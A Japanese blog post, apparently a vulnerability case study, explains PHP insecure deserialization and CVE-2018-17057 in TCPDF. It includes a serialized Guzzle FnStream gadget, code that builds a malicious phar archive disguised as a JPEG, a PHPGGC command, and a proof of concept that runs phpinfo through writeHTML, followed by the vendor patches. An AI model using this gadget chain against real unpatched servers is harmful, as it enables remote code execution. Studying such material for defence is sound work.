TCPDFにおけるデシリアライゼーションに関する脆弱性（CVE-2018-17057）

[TCPDF](https://tcpdf.org/) はPHPのPDF出力ライブラリとしてよく利用されていますが、バージョン6.2.22 未満にはデシリアライゼーションに関する脆弱性が報告されています。

JVNDB-2018-010843 - JVN iPedia - 脆弱性対策情報データベース
https://jvndb.jvn.jp/ja/contents/2018/JVNDB-2018-010843.html

今回はこの脆弱性について詳しく見てみたいと思います。

## デシリアライゼーションに関する脆弱性とは

本題に入る前にデシリアライゼーションに関する脆弱性（[CWE-502: Deserialization of Untrusted Data](http://cwe.mitre.org/data/definitions/502.html)）について簡単に触れておきます。

API連携でオブジェクトを送信したり、オブジェクトをセッションやDBに永続化するために`serialize`（値の保存可能な表現を生成する）と`unserialize`（保存用表現から PHP の値を生成する ）を使うことはよくあります。この`unserialize`についてPHPの公式ドキュメントには以下のような注意が記載されています。

>ユーザーからの入力をそのまま unserialize() に渡してはいけません。 アンシリアライズの時には、オブジェクトのインスタンス生成やオートローディングなどで コードが実行されることがあり、悪意のあるユーザーがこれを悪用するかもしれないからです。 via [公式ドキュメント](https://www.php.net/manual/ja/function.unserialize.php)

オブジェクトは生成されるタイミングで`__construct`が実行され、破棄されるタイミングで`__destruct`が実行されます。加えて、オブジェクトのデシリアライズ（アンシリアライズ）時には、オブジェクトに定義されているメンバ関数 `__wakeup()`が自動的に実行されます。

```php
class Hoge
{
  public function __construct()
  {
    // インスタンス生成時に実行される
  }

  public function __destruct()
  {
    // インスタンス破棄時に実行される
  }

  public function __wakeup()
  {
    // デシリアライズ時に実行される
  }
}
```

例えば、以下のようなクラスがあったらインスタンスが破棄されるタイミングで`echo 'hoge'`が実行されます。

```php
class Hoge
{

  public function __destruct()
  {
    echo 'hoge';
  }

}
```

つまり、シリアライズしたこのクラスをデシリアライズしてインスタンス化し、インスタンス不要になって破棄されたタイミングで`echo 'hoge'`が実行されます。

```php
$data = 'O:4:"Hoge":0:{}'; // シリアライズされたオブジェクト
$hoge = unserialize($data);
$hoge = null; // hogeが出力される
```

では、攻撃者が以下のような不正なクラスをシリアライズしてターゲットに送り、ターゲットがデシリアライズしたらどうなるでしょう？

```php
class Hoge
{

  public function __destruct()
  {
    phpinfo();
  }

}
```

不正なクラスがインスタンス化され`phpinfo`が実行される...とはならず、`__PHP_Incomplete_Class`がインスタンス化されます。このクラスがターゲット側に定義されていないので当然と言えば当然ですね:sweat:

```php
$data = 'O:4:"Hoge":0:{}'; // シリアライズされたオブジェクト
$hoge = unserialize($data); // __PHP_Incomplete_Class
$hoge = null; // 何も起こらない
```

では、LaravelやSymfonyなどのフレームワークを使っていて、フレームワーク本体もしくは依存ライブラリの中に問題のあるクラスがあったらどうなるでしょう？例えば有名なHTTPクライアントライブラリに[Guzzle](https://github.com/guzzle/guzzle)があります。このライブラリはLaravelの依存ライブラリでもあるのですが、ライブラリに同梱されているPSR-7実装のバージョン1.4.2以前には以下のようなクラスがあります（下記コードは必要な部分だけ抜粋してます）。

```GuzzleHttp\Psr7\FnStream.php
class FnStream implements StreamInterface
{
  public function __construct(array $methods)
  {
    $this->methods = $methods;

    foreach ($methods as $name => $fn) {
      $this->{'_fn_' . $name} = $fn;
    }
  }

  public function __destruct()
  {
    if (isset($this->_fn_close)) {
      call_user_func($this->_fn_close);
    }
  }
}
```

`__destruct`で`_fn_close`という関数を実行しています。では、このクラスを以下のように引数を渡してインスタンス化したらどうなるでしょう？

```php
$stream = new GuzzleHttp\Psr7\FnStream(['close' => "phpinfo"]);
```

この場合、インスタンスが破棄されたタイミングで`phpinfo`が実行されます。もし、攻撃者が上記のようなオブジェクトをシリアライズしてターゲットに渡し、ターゲットがデシリアライズすれば悪意のあるコードが実行されてしまいます（Laravelなどのフレームワークでは依存ライブラリはオートローダーによって名前解決され読み込まれるようになっていますので、最初の例のように`__PHP_Incomplete_Class`になることはありません）。

```php
 // シリアライズされたオブジェクト（攻撃者から渡されたと仮定）
$data = <<<EOT
O:24:"GuzzleHttp\Psr7\FnStream":2:{s:33:"\0GuzzleHttp\Psr7\FnStream\0methods";a:1:{s:5:"close";s:7:"phpinfo";}s:9:"_fn_close";s:7:"phpinfo";}
EOT;

$hoge = unserialize($data);
$hoge = null; // __destruct経由でphpinfoが実行される
```

簡単な説明でしたが、ここまででデシリアライゼーションに関する脆弱性について何となくご理解頂けたかと思います。

デシリアライゼーションに関する脆弱性については徳丸先生がブログでご紹介されていますので、そちらも併せてご参照ください。
[安全でないデシリアライゼーション(Insecure Deserialization)入門 
](https://blog.tokumaru.org/2017/09/introduction-to-object-injection.html)

また、過去にWordPressの脆弱性で実例をご紹介させて頂きましたので興味のある方はご覧になってください。
[Webアプリケーションの脆弱性ケーススタディ（WordPress編その２）](https://qiita.com/prograti/items/82409213bb875540a52e)

## TCPDFの脆弱性詳細

前章で脆弱性の概要を説明しましたので、ここから本題のTCPDFの脆弱性について見ていきたいと思います。TCPDFには`writeHTML`というメソッドがあります。メソッド名から分かるようにHTMLタグを使ってPDFの文章を整形・装飾することができる機能です。

実際のサンプル
https://tcpdf.org/examples/example_006/

このメソッドはHTMLタグに直接style属性を書いてスタイルを適用するだけでなく、外部CSSを渡してスタイルを適用することもできます。

```php
// style属性でスタイルを適用する
$pdf = new TCPDF(PDF_PAGE_ORIENTATION, PDF_UNIT, PDF_PAGE_FORMAT, true, 'UTF-8', false);
$pdf->AddPage();
$html = '<h1 style="color:#f00">hello</h1>';
$pdf->writeHTML($html, true, false, true, false, '');
$pdf->Output('/path/to/test.pdf', 'F');
```

```php
// 外部CSSでスタイルを適用する
$pdf = new TCPDF(PDF_PAGE_ORIENTATION, PDF_UNIT, PDF_PAGE_FORMAT, true, 'UTF-8', false);
$pdf->AddPage();
$html = '<link type="text/css" href="/path/to/test.css">';
$html .= '<h1>hello</h1>';
$pdf->writeHTML($html, true, false, true, false, '');
$pdf->Output('/path/to/test.pdf', 'F');
```

下記のコードはこの外部ファイルを読み込んでいるところの処理を抜粋したものです。linkタグを正規表現で分解して、`fileGetContents`というメソッドで指定されたURIからファイルを読み込んでいます。

```tcpdf.php
if (preg_match_all('/<link([^\>]*)>/isU', $html, $matches) > 0) {
  foreach ($matches[1] as $key => $link) {
    $type = array();
    if (preg_match('/type[\s]*=[\s]*"text\/css"/', $link, $type)) {
      $type = array();
      preg_match('/media[\s]*=[\s]*"([^"]*)"/', $link, $type);
      if (empty($type) OR (isset($type[1]) AND (($type[1] == 'all') OR ($type[1] == 'print')))) {
        $type = array();
        if (preg_match('/href[\s]*=[\s]*"([^"]*)"/', $link, $type) > 0) {
          // read CSS data file
          $cssdata = TCPDF_STATIC::fileGetContents(trim($type[1]));
          if (($cssdata !== FALSE) AND (strlen($cssdata) > 0)) {
            $css = array_merge($css, TCPDF_STATIC::extractCSSproperties($cssdata));
          }
        }
      }
    }
  }
}
```

そして下記のコードが`fileGetContents`メソッドの中身になります。指定した外部ファイルのパスがローカルファイルかhttp/httpsもしくはその他のプロトコルかどうかでパスを再構築し、`file_get_contents`で外部ファイルをテキストデータとして読み込んでいることが分かります。

```include/tcpdf_static.php
public static function fileGetContents($file) {
  $alt = array($file);
  if ((strlen($file) > 1)
      && ($file[0] === '/')
      && ($file[1] !== '/')
      && !empty($_SERVER['DOCUMENT_ROOT'])
      && ($_SERVER['DOCUMENT_ROOT'] !== '/')
  ) {
      $findroot = strpos($file, $_SERVER['DOCUMENT_ROOT']);
      if (($findroot === false) || ($findroot > 1)) {
    $alt[] = htmlspecialchars_decode(urldecode($_SERVER['DOCUMENT_ROOT'].$file));
      }
  }

  $protocol = 'http';
  if (!empty($_SERVER['HTTPS']) && (strtolower($_SERVER['HTTPS']) != 'off')) {
      $protocol .= 's';
  }

  $url = $file;
  if (preg_match('%^//%', $url) && !empty($_SERVER['HTTP_HOST'])) {
    $url = $protocol.':'.str_replace(' ', '%20', $url);
  }
  $url = htmlspecialchars_decode($url);
  $alt[] = $url;

  if (preg_match('%^(https?)://%', $url)
      && empty($_SERVER['HTTP_HOST'])
      && empty($_SERVER['DOCUMENT_ROOT'])
  ) {
    $urldata = parse_url($url);
    if (empty($urldata['query'])) {
      $host = $protocol.'://'.$_SERVER['HTTP_HOST'];
      if (strpos($url, $host) === 0) {
          $tmp = str_replace($host, $_SERVER['DOCUMENT_ROOT'], $url);
          $alt[] = htmlspecialchars_decode(urldecode($tmp));
      }
    }
  }

  if (isset($_SERVER['SCRIPT_URI'])
      && !preg_match('%^(https?|ftp)://%', $file)
      && !preg_match('%^//%', $file)
  ) {
      $urldata = @parse_url($_SERVER['SCRIPT_URI']);
      $alt[] = $urldata['scheme'].'://'.$urldata['host'].(($file[0] == '/') ? '' : '/').$file;
  }

  $alt = array_unique($alt);
  foreach ($alt as $path) {
    $ret = @file_get_contents($path);
    if ($ret !== false) {
        return $ret;
    }

    if (!ini_get('allow_url_fopen')
      && function_exists('curl_init')
      && preg_match('%^(https?|ftp)://%', $path)
    ) {
      // 省略
    }
  }
  return false;
}
```

上記のコードを見る限りではデシリアライズ処理が入っておらず、デシリアライゼーションに関する脆弱性はどこにもないように見えます。しかし、ある特殊なケースにおいて上記コードは問題になります。

### file_get_contentsがサポートするプロトコルラッパー

公式ドキュメントの`file_get_contents`を注意深く読んでいくと以下のような記述があります。

>fopen wrappers が有効の場合、この関数のファイル名として URL を使用することができます。ファイル名の指定方法に関する詳細は fopen() を参照ください。 サポートするプロトコル/ラッパー には、さまざまなラッパーの機能やその使用法、 提供される定義済み変数などの情報がまとめられています。 via [公式ドキュメント](https://www.php.net/manual/ja/function.file-get-contents.php)

そして上記で言及されているプロトコルラッパーを列挙すると以下のようになります。

- file:// — ローカルファイルシステムへのアクセス
- http:// — HTTP(s) URL へのアクセス
- ftp:// — FTP(s) URL へのアクセス
- php:// — さまざまな入出力ストリームへのアクセス
- zlib:// — 圧縮ストリーム
- data:// — データ (RFC 2397)
- glob:// — パターンにマッチするパス名の検索
- phar:// — PHP アーカイブ
- ssh2:// — Secure Shell 2
- rar:// — RAR
- ogg:// — オーディオストリーム
- expect:// — 対話的プロセスストリーム

via [公式ドキュメント](https://www.php.net/manual/ja/wrappers.php)

一般的なものから馴染みのないものまでいろいろありますが、今回の脆弱性では`phar://`が攻撃ベクターになります。

### Phar（PHP Archive）

**Phar** って何? という人も多いかと思いますが、JavaのJARと同じようなものと言えばイメージが湧くかと思います。公式ドキュメントには以下のように紹介されています。

>Phar アーカイブは、複数のファイルをひとつにまとめるための便利な仕組みです。 Phar アーカイブを使用すれば、PHP のアプリケーションをひとつのファイルとして配布できるようになります。 また、それをディスク上に展開しなくてもそのまま実行できるのです。 さらに、他のファイルと同様に PHP から phar アーカイブを実行することができます。 コマンドラインとウェブサーバー経由のどちらでも実行可能です。 phar は、いわば PHP アプリケーションにおける thumb drive のようなものです。 via [公式ドキュメント](https://www.php.net/manual/ja/intro.phar.php)

試しに以下のようにディレクトリの中に２つのPHPファイルを作成してPharでアーカイブしてみます。

📂 sample
　📄 index.php
　📄 sample.php

```index.php
<?php
  echo 'Welcome.';
```

```sample.php
<?php
  echo 'Hello World.';
```

そしてCLIからPharアーカイブを作成します。

```shell
root@dev:~$ phar pack -f sample.phar sample/
```

作成されたPharアーカイブを読み込んでみます。

```php
<?php
  // index.phpが読み込まれ、「Welcome.」が表示される
  include './sample.phar';

  // sample.phpが読み込まれ、「Hello World.」が表示される
  include 'phar://./sample.phar/sample.php';
```

今度はPharアーカイブを`file_get_contents`で読み込んでみます。この場合、ただのテキストデータとして読み込まれます。

```php
<?php
  $ret = file_get_contents('phar://./sample.phar/sample.php');
  var_dump($ret); // string '<?php echo 'Hello World.';' (length=29)
```

では次にPharアーカイブにメタデータをセットしてみます。メタデータとはPharアーカイブの付属情報で自由にセットすることができます。

```shell
# -mオプションにシリアライズしたデータを渡す
root@dev:~$ phar meta-set -f sample.phar -m 'O:4:"Hoge":0:{}'
```

再度Pharアーカイブを`file_get_contents`で読み込んでみます。

```php
class Hoge
{

  public function __destruct()
  {
    echo 'Hello World';
  }

}

$ret = @file_get_contents('phar://./sample.phar');

// 「Hello World」が出力される
```

今度はメタデータがデシリアライズされ、`__destruct`が実行されてしまいました。

ここまでで今回のTCPDFの脆弱性がどのようなものか大体ご理解頂けたかと思います。では、実際に試してみたいと思います。

まず、不正なPharアーカイブを作成します。先程はCLIから作成しましたが、今度はPHPで作成します。

```php
$phar = new Phar('evil.phar');
$phar->startBuffering();
$phar->addFromString('dummy.txt', 'dummy');
$phar->setStub('<?php __HALT_COMPILER(); ? >');
$phar->setMetadata(new GuzzleHttp\Psr7\FnStream(['close' => "phpinfo"]));
$phar->stopBuffering();
```

この他にも[PHPGGC](https://github.com/ambionics/phpggc)（PHP Generic Gadget Chains）というツールを使って作成することもできます。

```shell
# Guzzleのリモートコード実行ペイロードを含むPharアーカイブを作成
root@dev:~$ ./phpggc -p phar -o evil.phar Guzzle/INFO1
```

次に作成したPharアーカイブをlinkタグで読み込んでPDF出力してみます。ここでは、拡張子をjpgに偽装してサーバへのアップロードに成功したというシナリオで試してみます。

```php
require_once('./tcpdf/tcpdf.php');
$pdf = new TCPDF(PDF_PAGE_ORIENTATION, PDF_UNIT, PDF_PAGE_FORMAT, true, 'UTF-8', false);
$pdf->AddPage();
$html = '<link type="text/css" href="phar://./evil.jpg">';
$pdf->writeHTML($html, true, false, true, false, '');
$pdf->Output('/path/to/poc.pdf', 'F');
```

上記プログラムにブラウザからアクセスすると`phpinfo`が実行されてしまいました。

![tmp.png](https://qiita-image-store.s3.amazonaws.com/0/184074/2e1ff07a-f05e-839a-d464-10bfe359b95a.png)

もし、アプリにアップロード機能があって拡張子のチェックしか行っておらず不正なファイルをアップロードできる状態であり、PDFの出力でユーザー入力値を未検証のまま受け入れていたら容易に不正なプログラムを実行できることがお分かり頂けたかと思います。

## 最後に

`file_get_contents`はよく利用される関数かと思いますが、今回のようなケースを初めて知ったという方も多いかと思います。使用しているフレームワークやライブラリに脆弱性が見つかったら即アップデートすることは当然ですが、実際にどのような脆弱性だったのか調べてみると意外な発見があって勉強になるかと思います。セキュリティに興味のある方は試してみてください。

なお、TCPDFではこの脆弱性に対してプロトコルを限定するチェックを入れることで対策しています。

```include/tcpdf_static.php
  $alt = array_unique($alt);
  foreach ($alt as $path) {
    // file_existsの中でローカルパスかhttp/httpsプロトコルのみに限定している
    if (!self::file_exists($path)) {
      continue;
    }
    $ret = @file_get_contents($path);
    if ($ret !== false) {
        return $ret;
    }
```

また、GuzzleのFnStreamも`__wakeup`が追加されてデシリアライズ時にはエラーになるように修正されています。

```GuzzleHttp\Psr7\FnStream.php
class FnStream implements StreamInterface
{
  public function __construct(array $methods)
  {
    $this->methods = $methods;

    foreach ($methods as $name => $fn) {
      $this->{'_fn_' . $name} = $fn;
    }
  }

  public function __destruct()
  {
    if (isset($this->_fn_close)) {
      call_user_func($this->_fn_close);
    }
  }

  public function __wakeup()
  {
    throw new \LogicException('FnStream should never be unserialized');
  }
}
```